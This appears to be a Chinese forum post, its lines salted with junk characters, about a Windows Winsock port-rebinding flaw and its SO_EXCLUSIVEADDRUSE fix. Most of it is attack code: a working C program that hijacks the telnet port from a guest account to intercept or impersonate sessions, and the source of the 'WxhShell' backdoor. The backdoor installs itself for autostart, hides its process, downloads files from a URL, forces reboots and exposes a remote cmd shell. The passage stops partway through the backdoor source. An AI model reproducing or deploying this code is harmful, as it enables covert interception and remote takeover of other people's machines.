在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)nJh) {4\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
# ~T
KC|G k->cqtG saddr.sin_family = AF_INET;
!^<%RT9@| }X[wWH saddr.sin_addr.s_addr = htonl(INADDR_ANY);
h$eVhN&Vv oN6 '% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
CNF3".a #9)D.d|5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$f]dL}; YXWlg%s 这意味着什么?意味着可以进行如下的攻击:
a)GT\1q gXI8$W> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
gzDNMM Mee+bp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"vG~2J -THU5AB 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
FlQ(iv)P z?i{2Fz6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X6g{qz Hg_ V}UYr Va#9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^`XTs!. P1f@?R&t+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>k{KwFB^S 17{$D,P 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
qkbxa?&X 96$qH{]Ap #include
=-U8^e_Y #include
Y"&1jud4xl #include
9:tn!<^=I #include
f~NGIlgR DWORD WINAPI ClientThread(LPVOID lpParam);
$-:j'e:j int main()
Rg?m$$X` {
Y +9OP WORD wVersionRequested;
&0*=F%Fd DWORD ret;
(]l}QR%Bxu WSADATA wsaData;
-I\Y
m_) BOOL val;
!?~>f>js_l SOCKADDR_IN saddr;
DNN60NX 5Q SOCKADDR_IN scaddr;
)D1=jD( int err;
K^'NG! SOCKET s;
5,<:|/r SOCKET sc;
0=^A{V!m int caddsize;
uqg#(ADy?R HANDLE mt;
f\~OG#AaX DWORD tid;
e:&(y){n( wVersionRequested = MAKEWORD( 2, 2 );
@a{1vT9b err = WSAStartup( wVersionRequested, &wsaData );
Y79{v nlGk if ( err != 0 ) {
jg_##Oha printf("error!WSAStartup failed!\n");
i!jR>+ return -1;
Jm l4EW7 }
(IY=x{b saddr.sin_family = AF_INET;
ZV;lr Vv z`:uvEX0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
9(PQ7} )K0BH q7r saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!h "6h saddr.sin_port = htons(23);
i9FHEu_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N d"4*l; {
)+nY-DB( printf("error!socket failed!\n");
BrQXSN$i return -1;
)Bq~1M 2 }
>,Zf3M val = TRUE;
)OAd[u< //SO_REUSEADDR选项就是可以实现端口重绑定的
_k,/t10 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A\jX #gg {
xgi/,Nk ' printf("error!setsockopt failed!\n");
FD&"k=p+X return -1;
5+gSpg]i }
T@ [*V[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
3\xvy{r //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
G@O~*k1v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
w1je|Oil X$L9kZ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
F .(zS(q {
F|3 =Cl ret=GetLastError();
YmS}*>oz printf("error!bind failed!\n");
J 1?)z+t9~ return -1;
>^8=_i ! }
[_&\wHX listen(s,2);
)PRyDC- while(1)
[HKTXF{n {
f\ wP}c' caddsize = sizeof(scaddr);
<4gT8kQ$x //接受连接请求
.."= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D=w5Lks if(sc!=INVALID_SOCKET)
RN0@Q~oTI {
@c<*l+Qc mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)>]~ Y if(mt==NULL)
?(&)p~o {
/5ngPHy& printf("Thread Creat Failed!\n");
36<PI'l#~ break;
cI9} YSk }
~v2E<S3 }
<mm.b CloseHandle(mt);
^MyuD?va }
M>pcG.6V closesocket(s);
!);kjXQS? WSACleanup();
]vJ]
i<|b return 0;
H0zKL]D'> }
Fu*~{n DWORD WINAPI ClientThread(LPVOID lpParam)
C0xjM0 {
X
8V^ SOCKET ss = (SOCKET)lpParam;
iUv#oX
H SOCKET sc;
T9@W,0# unsigned char buf[4096];
!+;'kI2 SOCKADDR_IN saddr;
X\r?g long num;
nMK,g>wp DWORD val;
HMQi:s7% DWORD ret;
Hoaf3
`n //如果是隐藏端口应用的话,可以在此处加一些判断
):@XMECa //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1rr\l` saddr.sin_family = AF_INET;
f\W1u#;u) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(RP"VEVR saddr.sin_port = htons(23);
B?qLXRv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Jl-Lz03YG {
Pa.D+ printf("error!socket failed!\n");
}{J5)\s9 return -1;
l .8@F }
zFy0SzF val = 100;
wzr3y}fCe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v-;j44sB {
e12.suv ret = GetLastError();
yG)zrRU return -1;
S}q6CG7 u }
^Z:oCTOP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W0]W[b,:u$ {
H\OV7=8 ret = GetLastError();
oT5N_\ return -1;
cxBu2(Y }
os<B}D[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@z8,XW
} {
wHSa s[4k printf("error!socket connect failed!\n");
l-Hp^|3Wq closesocket(sc);
ggr\nY closesocket(ss);
PVGvj c return -1;
pDGX$1O" }
X>Cl{. while(1)
B|Y6;4? {
(mHCK5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
rkF]Q_'`t; //如果是嗅探内容的话,可以再此处进行内容分析和记录
|IbCN //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_5F8F4QY` num = recv(ss,buf,4096,0);
0XCtw6 if(num>0)
$
e<&7 send(sc,buf,num,0);
iez@j else if(num==0)
-^m]Tb<u break;
29(s^#e8A num = recv(sc,buf,4096,0);
q[l!kC+Eh if(num>0)
\,<5U
F0 send(ss,buf,num,0);
zJnF#G else if(num==0)
;naD`([ break;
_ lrCf }
>wiW(Ki} closesocket(ss);
A
%iZ_h^ closesocket(sc);
9%>GOY return 0 ;
).[Mnt/Ft }
~J}{'l1{yf eyq8wQT Q`nsL)J ==========================================================
1+1Z]!nG#! _~?N3G 下边附上一个代码,,WXhSHELL
C
NDf&dzX8 [89qg+z ==========================================================
K3QE>@'] 0Q^a*7w`8a #include "stdafx.h"
x7qVLpcL3z }@
Nurs)%_ #include <stdio.h>
'l+).}, #include <string.h>
W\V'o Vt #include <windows.h>
xE$(I<: #include <winsock2.h>
cO9aT #include <winsvc.h>
_`4jzJ* #include <urlmon.h>
Pqe{C?7B ['p%$4i$ #pragma comment (lib, "Ws2_32.lib")
"PM!03rb #pragma comment (lib, "urlmon.lib")
!;";L5() ;9>(yJI+ #define MAX_USER 100 // 最大客户端连接数
biTET|U`$ #define BUF_SOCK 200 // sock buffer
BU-m\Kf) #define KEY_BUFF 255 // 输入 buffer
Bnju_)U5) )Mw<e #define REBOOT 0 // 重启
6%/@b`vZ #define SHUTDOWN 1 // 关机
OR4ZjogzY Q{ hXP*5 #define DEF_PORT 5000 // 监听端口
1bW[RK;GE \`:X37n)0q #define REG_LEN 16 // 注册表键长度
2&st/y(hs #define SVC_LEN 80 // NT服务名长度
%#!pAUP\& F9DY\EI // 从dll定义API
[X +E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8cq H0{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3l?D%E]P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7Sc._G{[% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Lq#>N_72W0 g<,kV(_7 // wxhshell配置信息
[yzDa:% struct WSCFG {
T~shJ0% int ws_port; // 监听端口
GtQ$`~r char ws_passstr[REG_LEN]; // 口令
pkd#SY int ws_autoins; // 安装标记, 1=yes 0=no
JI{|8)S char ws_regname[REG_LEN]; // 注册表键名
~*WSH&ip char ws_svcname[REG_LEN]; // 服务名
8Vcg30_+ char ws_svcdisp[SVC_LEN]; // 服务显示名
wYxnKm~f char ws_svcdesc[SVC_LEN]; // 服务描述信息
!+qy~h char ws_passmsg[SVC_LEN]; // 密码输入提示信息
b2x8t7%O int ws_downexe; // 下载执行标记, 1=yes 0=no
FBn`sS8hH char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ep/kb-~- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
[nQ<pTg~r cVrses^yE };
e0i&?m y'ZRoakz) // default Wxhshell configuration
u="VJ3 struct WSCFG wscfg={DEF_PORT,
9EryHV| "xuhuanlingzhe",
y/!h.[ 1,
$tGk,.#j "Wxhshell",
C]22 [v4 "Wxhshell",
A"wor\( "WxhShell Service",
#b[B$ "Wrsky Windows CmdShell Service",
EZ+_*_9 "Please Input Your Password: ",
gwvy$H 1,
Q+d9D1b "
http://www.wrsky.com/wxhshell.exe",
pNY+ E5 "Wxhshell.exe"
`4Jlf! };
*],]E; wYTF:Ou^5~ // 消息定义模块
o$k1&hyH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
IuJj;L1 char *msg_ws_prompt="\n\r? for help\n\r#>";
9~8UG ( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?S9!;x< char *msg_ws_ext="\n\rExit.";
P
I gbeP char *msg_ws_end="\n\rQuit.";
N7A/&~g5L char *msg_ws_boot="\n\rReboot...";
N%1T>cp0 char *msg_ws_poff="\n\rShutdown...";
=d#3& R]p char *msg_ws_down="\n\rSave to ";
CO25 XdKhT61 8G char *msg_ws_err="\n\rErr!";
8$SA"c) char *msg_ws_ok="\n\rOK!";
`mU'{ #!,tId char ExeFile[MAX_PATH];
oM`[&m., int nUser = 0;
s`2Hf&%aZJ HANDLE handles[MAX_USER];
S`yY<1[O int OsIsNt;
N
O|&nqq,> ]YF[W`2h SERVICE_STATUS serviceStatus;
aBX^Wd SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y<X,(\iEHP l`s_Id# // 函数声明
9Ra_[1 int Install(void);
1-.UkdZ} int Uninstall(void);
X|Gsf=
1S int DownloadFile(char *sURL, SOCKET wsh);
e<_p\LiOS int Boot(int flag);
ocwh*t)<k void HideProc(void);
wIi_d6? int GetOsVer(void);
2=pVX int Wxhshell(SOCKET wsl);
,(0q void TalkWithClient(void *cs);
cC'{+j8-a int CmdShell(SOCKET sock);
?zwPF;L* int StartFromService(void);
R8
1z|+c|_ int StartWxhshell(LPSTR lpCmdLine);
|2,'QTm= 0)}bJ,5/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;M '?k8L VOID WINAPI NTServiceHandler( DWORD fdwControl );
Ip}(!D| ]V!q"|
// 数据结构和表定义
~`Q8)(y<#$ SERVICE_TABLE_ENTRY DispatchTable[] =
^cO^3= {
Q`#Y_N-h+ {wscfg.ws_svcname, NTServiceMain},
D]nVhOg| {NULL, NULL}
PqMU&H_ };
i*`; /x'+ 2+pLDIIT // 自我安装
Gq4~9Tm)* int Install(void)
FyuCYg
\p {
T7eo_Mn char svExeFile[MAX_PATH];
>mzK96 HKEY key;
a%2r]:?^? strcpy(svExeFile,ExeFile);
K-VNU MH{$"^K // 如果是win9x系统,修改注册表设为自启动
D4?qw$" if(!OsIsNt) {
m09
Bds if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%zg&eFRHI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
31b9pi}nf RegCloseKey(key);
Rg! [ic ! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g`)2I+L7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0w?\KHT RegCloseKey(key);
't3/< h< return 0;
- P+( =U }
!2oe;q2X[G }
}0Isi G }
x|/zn<\^ else {
?A7&SdJaO '\ec ,&4Z // 如果是NT以上系统,安装为系统服务
"y@B| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|sWH!:]49 if (schSCManager!=0)
"7_6iB&@< {
yE3g0@* SC_HANDLE schService = CreateService
mO$]f4} (
<'H^}gQow schSCManager,
#&vP(4p wscfg.ws_svcname,
_iBNy wscfg.ws_svcdisp,
i>gbT+*E! SERVICE_ALL_ACCESS,
VIo %(( SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:5?g<@ SERVICE_AUTO_START,
>U @7xeK SERVICE_ERROR_NORMAL,
A@^e4\ svExeFile,
/I~iUND"G NULL,
2[i:bksjW NULL,
cPe0o'`[ NULL,
v*}r<}j NULL,
SEm3T4dfzf NULL
,ZyTYD|7 );
WTi8 if (schService!=0)
OF^v;4u {
9I*zgM!F CloseServiceHandle(schService);
WlnmW(uahW CloseServiceHandle(schSCManager);
3P C'P2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{<7!=@j strcat(svExeFile,wscfg.ws_svcname);
r
(Ab+1b if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+o)o4l%3 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
0ts]
iQ7 RegCloseKey(key);
R[>fT}Lo return 0;
!K;\{/8 }
`9SRiy }
QjMH1S CloseServiceHandle(schSCManager);
Sw~jyUEr }
xMI4*4y( }
g1-^@&q D_r&B@4w return 1;
wowv>!N!X- }
p(/PG+ ]8*#%^ // 自我卸载
L2Ynv4llm int Uninstall(void)
L~fxVdUz {
-AcLh0pc HKEY key;
^`NU:"
:Rc>=)<7 if(!OsIsNt) {
E[bJ5o**# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k4te[6) RegDeleteValue(key,wscfg.ws_regname);
L 1=HD RegCloseKey(key);
E/9h"zowS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\vbU| a RegDeleteValue(key,wscfg.ws_regname);
#|76dU RegCloseKey(key);
U-(2;F) return 0;
o|lEF+ }
[eI{vH{ }
D4%5T>^LW[ }
h?[3{Z ^ else {
BE/#=$wPjM [r%WVf.#d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qCg`"/0 if (schSCManager!=0)
E,,)?^ g {
tW;?4}JR
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\"B oTi'2! if (schService!=0)
Vrl)[st!;I {
is K~= if(DeleteService(schService)!=0) {
C=L_@{^Rgb CloseServiceHandle(schService);
/7#KkMg CloseServiceHandle(schSCManager);
`HXP*Bp# return 0;
"2HSb5b"` }
rjfcZ@ CloseServiceHandle(schService);
iL f:an*vH }
@D_=MtF< CloseServiceHandle(schSCManager);
CYA#: }
ed$g=qs> }
kylR) "X~ayn'@w, return 1;
D@"g0SW4 }
ZGrjb22M ?r"][< // 从指定url下载文件
sr%tEKba) int DownloadFile(char *sURL, SOCKET wsh)
=)}m4,LA {
'j>+eA> HRESULT hr;
BH _y0[y char seps[]= "/";
Nx>WOb98
char *token;
>&V?1!N" char *file;
5`CPaJT$ char myURL[MAX_PATH];
\ZiZX$ char myFILE[MAX_PATH];
`C 'WSr 5&]|p'"W\ strcpy(myURL,sURL);
(CKx
s
I@ token=strtok(myURL,seps);
7Yp;B:5@ while(token!=NULL)
*gRg--PY% {
2Eg*Yb 1 file=token;
;4<CnC** token=strtok(NULL,seps);
nHxos`Qx }
$c4Q6w Ek\fx*Lz GetCurrentDirectory(MAX_PATH,myFILE);
c]:sk[u strcat(myFILE, "\\");
F4+mkB:w*7 strcat(myFILE, file);
|}zv CD send(wsh,myFILE,strlen(myFILE),0);
.`4N#EjP send(wsh,"...",3,0);
_%#Q
\D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
WbZ{)
i if(hr==S_OK)
-kY7~yS7 return 0;
G!},jO*" else
WS6pm6@A*! return 1;
z[:UPPbW ZzfGs }
|0nbO2} u,<I% // 系统电源模块
{6Tw+/`P int Boot(int flag)
weCRhA {
3\FPW1$i|[ HANDLE hToken;
*yp}#\rk TOKEN_PRIVILEGES tkp;
Pe@M_ r Hm2}xnY if(OsIsNt) {
41 sClC" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
~J1;Z0}# LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
|0:&dw?*! tkp.PrivilegeCount = 1;
Ep-{Ew{T_= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
v w$VRPW AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.&d]7@!qy if(flag==REBOOT) {
@=ABO"CQ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
r2?-QvQ return 0;
F,{M!dL }
F. X{(8 else {
M##h<3 I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
k]FP1\Y return 0;
aH<BqD[# }
Di{T3~fqU }
bv$g$ else {
5^'PjtW6 if(flag==REBOOT) {
I=)Hb?qT~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F[/Bp>P7 return 0;
&$uQ$]&H }
/zZ$<mVG else {
.zr2!}lB if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
\wR bhN return 0;
CU)'x
E }
!
7,rz1s73 }
Th,15H
DA v
P8.{$ return 1;
zp[Uh]-dMK }
`-!t 8BH F`,XB[}2 // win9x进程隐藏模块
'c[4-m3bg void HideProc(void)
l
+RT>jAmK {
J<dr x_gc -+4:}
sD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
($:s}_<>s if ( hKernel != NULL )
dK|6p_ {
!J
")TP= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
clK3kBh~& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
C!xq p
FreeLibrary(hKernel);
01Bs7@"+ }
,aS6|~ac4 %!$ua_8 return;
4eapR|#T }
[f["9(: c;DWSgIw // 获取操作系统版本
A,-UW+: int GetOsVer(void)
ZY-UQ4_|u {
O--
"\4 OSVERSIONINFO winfo;
aWhhq@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
s6SG%Vd GetVersionEx(&winfo);
e$>.x<
Eq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
%lPAq return 1;
_YzItge* else
tcOgF: return 0;
F
VW&&ft }
Unev[! kQ4-W9u // 客户端句柄模块
j|3p.Cy int Wxhshell(SOCKET wsl)
TS+itU62 {
z7'3d7r? SOCKET wsh;
2\&uO struct sockaddr_in client;
K(RG:e~R0i DWORD myID;
]~~PD?jh FC<aX[~&3 while(nUser<MAX_USER)
;taTdzR_ {
xe}d& int nSize=sizeof(client);
<+D(GH}; wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pk2OZ,14Mj if(wsh==INVALID_SOCKET) return 1;
[ L% -lJ jSVIO v: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
]S+NH[g+ if(handles[nUser]==0)
> ?s[g)np closesocket(wsh);
D?~`L[}I!} else
82#7TX4 nUser++;
:lz@G4=C }
>#).3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(Qmpz ju#/ {V;D return 0;
5]yQMY\2) }
v^2q\A-? SS OF\ // 关闭 socket
A&_H%]{<: void CloseIt(SOCKET wsh)
&~oBJar {
(+}H
ih closesocket(wsh);
wi/Fx=w nUser--;
; V)pXLE ExitThread(0);
]pi"M3f_ }
\C;cs&\Q igFz~ // 客户端请求句柄
!-1UJqO void TalkWithClient(void *cs)
$ )q?z.U {
T+p?VngF s0,c4y SOCKET wsh=(SOCKET)cs;
t|q@~B
: char pwd[SVC_LEN];
dH"wYMNL char cmd[KEY_BUFF];
?&?gQ#\N_J char chr[1];
0Q>f,}W%> int i,j;
P)x&9OHV qP? V{N while (nUser < MAX_USER) {
rhU]b $A RWM9cV5 if(wscfg.ws_passstr) {
b*w izd if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
${\iHg[vZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x]o~ %h$ //ZeroMemory(pwd,KEY_BUFF);
ZN75ONL i=0;
0LX;Vvo while(i<SVC_LEN) {
^hPREbD+f "&(.Z ( // 设置超时
S*,DX~vig fd_set FdRead;
ST'M<G%4E struct timeval TimeOut;
`j+aAxJ=\ FD_ZERO(&FdRead);
Wt=QCutt FD_SET(wsh,&FdRead);
`8^4, TimeOut.tv_sec=8;
?v8.3EE1\o TimeOut.tv_usec=0;
nojJGeW% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
4D(5WJ& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
!p$z8~ h:{rjXK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<u>l#weG, pwd
=chr[0]; i>Wsc?
if(chr[0]==0xd || chr[0]==0xa) { ?K9&ye_rgw
pwd=0; eZpyDw C{
break; OxGKtnAjf
} F)dJws7-
i++; 1#LXy%^tO
} ._2#89V
1&%6sZN
// 如果是非法用户,关闭 socket "b)Y 5[nW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vsc)EM ]
} aH7i$U&
nn'a`N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !,8jB(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j>f
[-}LEH1[p
while(1) { '
lt5|
2JY]$$K7
ZeroMemory(cmd,KEY_BUFF); WE;QEA /
MDkcG"O
// 自动支持客户端 telnet标准 _XLGXJ[B
j=0; J^t-p U
while(j<KEY_BUFF) { UQZ<sp4v;
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F91uuSSL
cmd[j]=chr[0]; f|U;4{k
if(chr[0]==0xa || chr[0]==0xd) { s|*0cK!K^
cmd[j]=0; )IN!CmpN
break; &/XRiK1"0
} GQ=Zp3[
j++; OCR`1
} ~<[$.8*
byALM
// 下载文件 H?-Byi
if(strstr(cmd,"http://")) { 8:*
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }4'5R
if(DownloadFile(cmd,wsh)) 8%C7!l q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S#km`N`
else c8uFLM j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7 YS 'Tf
} J+hiz3N
else { 04;E^,V
4yOYw*X
switch(cmd[0]) { -G\svwv@)
$;GH
-+
// 帮助 Vl"20):
case '?': { <%d/"XNg[D
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |"}F cS
y
break; Vf28R,~m
} MR")
// 安装 rw:z|-r
case 'i': { >9-$E?Mt
if(Install()) Vr/UY79
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (2 nSZRB
else EI+RF{IKh
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ep>} S
break; \#)|6w-
} c?ZM<Y"
// 卸载 AkMP)\Q
case 'r': { }57s
if(Uninstall()) ZLP)i;Az
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +pcGxje\
else ^"lVTDsU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g=G>4Ua3
break; .DX
} m5c=h
// 显示 wxhshell 所在路径 OKW}8 qM
case 'p': { z@za9U`6i
char svExeFile[MAX_PATH]; nZ tMF%j'
strcpy(svExeFile,"\n\r"); e3o?=;
strcat(svExeFile,ExeFile); 4F[4H\>'
send(wsh,svExeFile,strlen(svExeFile),0); 7'IcgTWDZy
break; =()Vrk|uK
} D*T*of G
// 重启 Ms4~P6;%
case 'b': { r6WSX;K
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z;v5L/;
if(Boot(REBOOT)) 'dXGd.V7u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_SURTys
else { 3@}rO~
closesocket(wsh); z D "n7;
ExitThread(0); rXh*nC
} r`dQ<U,
break; t,bQ@x{zVC
} >O;V[H2[
// 关机 X}V}%
case 'd': { gWK[%.Jnw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8]@$7hy8
if(Boot(SHUTDOWN)) G'#f*) f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\0}te
else { a,ff8Qm
closesocket(wsh); {>v5~G
ExitThread(0); gT-"=AsxZQ
} \iP=V3
break; NIo!WOi
} Uf}u`"$F
// 获取shell 0jJ:WPR
case 's': { &~Hx!]uc
CmdShell(wsh); pie8 3Wy>
closesocket(wsh); Y5fz_ [("
ExitThread(0); i)!2DXn
break; qr@<'wp/
} C0K0c6A(4
// 退出 n g,&;E
case 'x': { |KMwK
png
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0s$;3qE
CloseIt(wsh); c0ue[tb
break; <q`'[1Y4
} 7Gwo:s L
// 离开 oKMr Pr[`
case 'q': { 7 /6Zp?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zG*
>g
closesocket(wsh); N^Hj%5
WSACleanup(); jk\z-hd
exit(1); 0h-'TJg*sk
break; (=-6'23q)
} Q"vhl2RX
} I/B *iW^
} _
?o>i/
g)mjw
// 提示信息 :<P3fW
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nsf>b 8O
} ~ K/_51O'
} J?9n4
u
(Q?@LzCjy
return; y*#YIS56I
} 7 1+
bn
|!q,J
// shell模块句柄 elGwS\sw
int CmdShell(SOCKET sock) mHyT1e
{ >bFrJz}
STARTUPINFO si; kXroFLrY
ZeroMemory(&si,sizeof(si)); L$z(&%Nx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oTN:Q"oK7?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z&c|2L-u6
PROCESS_INFORMATION ProcessInfo; |)65y
char cmdline[]="cmd"; &[z<p
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qv
WvS9]
return 0; 5Q/jI$^h0Z
} LC,6hpmh
-#Ys67,4N
// 自身启动模式 ;(-Wc9=
int StartFromService(void) ` 7P%muY.
{ ?,`g h}>
typedef struct _Ie?{5$ng`
{ wEF"'T
DWORD ExitStatus; Ye| (5f
DWORD PebBaseAddress; "Q`Le{
DWORD AffinityMask; f>iDqC4
